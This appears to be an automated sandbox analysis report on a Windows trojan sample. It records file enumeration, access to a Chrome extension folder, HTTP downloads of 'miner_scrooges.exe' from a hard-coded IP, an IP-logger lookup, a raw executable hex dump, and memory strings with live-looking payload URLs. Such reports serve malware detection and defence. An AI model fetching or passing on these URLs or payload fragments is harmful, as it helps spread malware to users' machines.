Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdbSs source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: api-ms-win-core-libraryloader-l1-1-0.dll.2.dr
Source:	Binary string: fltLib.pdbV{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdbO source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdbZK& source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb\ source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb2 source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp

Spreading:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0043E217 FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,		2_2_0043E217
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Code function: 2_2_0043E387 GetFileAttributesExW,GetLastError,___std_fs_open_handle@16,GetLastError,GetFileInformationByHandle,FindFirstFileExW,FindClose,		2_2_0043E387

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_00434FF1 GetLogicalDriveStringsA,

2_2_00434FF1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior

Networking:

May check the online IP address of the machine

Show sources

Source: unknown

DNS query: name: iplogger.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 23 Feb 2021 09:04:52 GMTContent-Type: application/octet-streamContent-Length: 2815200Connection: keep-aliveKeep-Alive: timeout=60Last-Modified: Tue, 23 Feb 2021 08:47:08 GMTETag: "2af4e0-5bbfcf6a9b9cb"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 1e f7 32 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 50 00 00 00 08 00 00 00 00 00 00 58 e0 48 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 73 00 00 04 00 00 74 3a 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a c0 00 00 50 00 00 00 00 e0 00 00 e4 05 00 00 00 00 00 00 00 00 00 00 00 be 2a 00 e0 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 60 00 00 00 20 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 e8 05 00 00 00 80 00 00 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 a0 00 00 00 02 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 c0 00 00 00 02 00 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 e0 00 00 00 06 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 e0 47 00 00 00 01 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 82 2a 00 00 e0 48 00 00 82 2a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /miner_scrooges.exe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 94.103.94.2

Source: Joe Sandbox View	IP Address: 95.216.186.40 95.216.186.40
Source: Joe Sandbox View	IP Address: 104.21.50.15 104.21.50.15

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.94.2

Source: global traffic

HTTP traffic detected: GET /miner_scrooges.exe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 94.103.94.2

Source: unknown

DNS traffic detected: queries for: tttttt.me

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.94.2/miner_scrooges.exe
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.94.2/miner_scrooges.exe201d
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncECCCA-3.crt0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp, XObEdOuQjV.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp, XObEdOuQjV.exe.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncECCCA-3.crl07
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp, XObEdOuQjV.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644981059.0000000000C3B000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncECCCA-3.crl0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.cr
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644981059.0000000000C3B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: nss3.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp, XObEdOuQjV.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp, XObEdOuQjV.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://r3.i.lencr.org/0#
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://s.symcd.com06
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.666658507.000000004C448000.00000004.00000001.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667327807.000000006F409000.00000002.00020000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627962588.000000004C45A000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: http://www.mozilla.com0
Source: sqlite3.dll.2.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663596917.0000000000BA2000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=9774759596232;g
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.628092792.0000000000C31000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663634418.0000000000BC6000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=7859736
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=3005540662929;gt
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.628016845.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: XObEdOuQjV.exe.2.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594407583.0000000000BE0000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.529969412.0000000000C1E000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.538593530.0000000000C04000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.529911532.0000000000C31000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.538593530.0000000000C04000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.529911532.0000000000C31000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://tlgr.org/img/t_logo.png
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663596917.0000000000BA2000.00000004.00000001.sdmp	String found in binary or memory: https://tttttt.me/h_scroogenews_1
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644981059.0000000000C3B000.00000004.00000001.sdmp, nss3.dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RYwTiizs2t.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.644887582.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top/
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594234001.0000000000BED000.00000004.00000001.sdmp, SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.594468632.0000000000BC6000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/b7b57553476201d30df84e5e9cd9e955ae47aaaf
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.663680242.0000000000BD3000.00000004.00000001.sdmp	String found in binary or memory: https://yearofthepig.top//l/f/lxwhzncBuI_ccNKoCuGJ/ff3e513855a6f44e51c42364424f5f0065547d18
